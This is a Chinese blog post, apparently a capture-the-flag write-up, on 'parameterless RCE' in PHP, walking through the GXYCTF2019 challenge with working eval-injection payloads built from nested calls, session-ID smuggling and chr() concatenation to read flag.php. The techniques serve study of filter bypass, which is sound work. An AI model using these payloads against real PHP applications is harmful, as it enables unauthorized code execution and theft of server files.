zoukankan      html  css  js  c++  java
  • PHP无参RCE

    介绍

    无参数RCE的形式如下,即只允许函数“套娃”,不允许传入其他参数。

    if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) { 
          eval($_GET['code']);
    }
    
    preg_replace('/[a-z]+((?R)?)/', NULL, $code)
    

    例题「[GXYCTF2019]禁止套娃」

    <?php
    include("flag.php");
    
    echo "flag在哪里呢?<br>";
    $_GET['exp'] = "chr(ord());";
    if(isset($_GET['exp'])){
        if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
            if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
                if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                    // echo $_GET['exp'];
                    @eval($_GET['exp']);
                }
                else{
                    die("还差一点哦!");
                }
            }
            else{
                die("再好好想想!");
            }
        }
        else{
            die("还想读flag,臭弟弟!");
        }
    }
    // highlight_file(__FILE__);
    ?>
    
    

    由于无法传入多余参数来调用函数,我们可以尝试利用与数组有关的函数与rand(),next(),prev()等数组操作函数,从而控制数组的取值。

    我们的目标是读取flag.php,因此我们需要一个包含“flag.php”的数组,可以想到利用scandir(".")得到该数组

    但由于函数调用必须是无参的,则可以利用 current(localeconv()) 或 pos(localconv()) 来构造小数点,其中localeconv()函数返回了货币设置数组,恰好首元素为小数点字符

    通过 exp=print_r(scandir(current(localeconv()))) 已经获取到了包含“flag.php”的数组

    接下来的工作就将这个字符串提取出来,再执行readfile、show_source、highlight_file、file_get_contents

    此外我们可通过eval + Request的一些参数来构造参数

    数组利用

    // 随机获取
    exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));
    // 获取倒数第二个元素
    exp=print_r(highlight_file(next(array_reverse(scandir(current(localeconv()))))));
    

    session利用

    1. eval + url解码,在本题中由于“dec”被过滤,无法使用
      由于session_id中不能出现引号,因此通过两次url编码来解决
    exp=eval(urldecode(session_id(session_start())));
    PHPSESSID=highlight_file(%2522flag.php%2522)%3B
    
    1. eval + chr 拼接
    exp=eval(session_id(session_start())));
    PHPSESSID=highlight_file(chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112))%3b
    // `%3b`为封号,否则eval将无法解析语句,原语句为`eval(highlight_file("flag.php"))`
    


    1. eval + $_GET传参
      由实验1发现PHPSESSID进制传入引号,从而想到可以使用$_GET[a]来构造一个密码为a的传值方式,这与$_GET["a"]是等价的
    exp=eval(session_id(session_start()));&a=flag.php
    PHPSESSID=highlight_file($_GET[a])%3b
    


    1. 仅获取字符串
    exp=highlight_file(session_id(session_start()));&a=flag.php
    PHPSESSID=flag.php
    

    headers利用

    1. getallheaders()
      原理基本一致,本题中“et”被屏蔽因此无法利用

    常用函数总结

    array_rand()、array_flip()
    array_reverse()
    next()、prev()、end()、current()、pos()
    getallheaders()
    chr()、ord()、hex2bin()、
    session_id()、session_start()
    show_source()、readfile()、highlight_file()、file_get_contents()
    current(localeconv())
    scandir()、chdir()、getpwd()
    next(scandir(current(localeconv())));
    chdir(next(scandir(current(localeconv()))));
    $_GET、$_POST、$_FILE

  • 相关阅读:
    静态嵌套类(Static Nested Class)和内部类(Inner Class)的不同?
    编写多线程程序有几种实现方式?
    文件拷贝
    如何实现对象克隆?
    c#如何保存richtextbox的rtf格式
    C#实现文件与二进制互转并存入数据库
    c#中绝对路径和相对路径
    C#实现MySQL数据库中的blob数据存储
    CSS控制文字,超出显示省略号
    ES6 语句判断简写
  • 原文地址:https://www.cnblogs.com/chir/p/13420148.html
Copyright © 2011-2022 走看看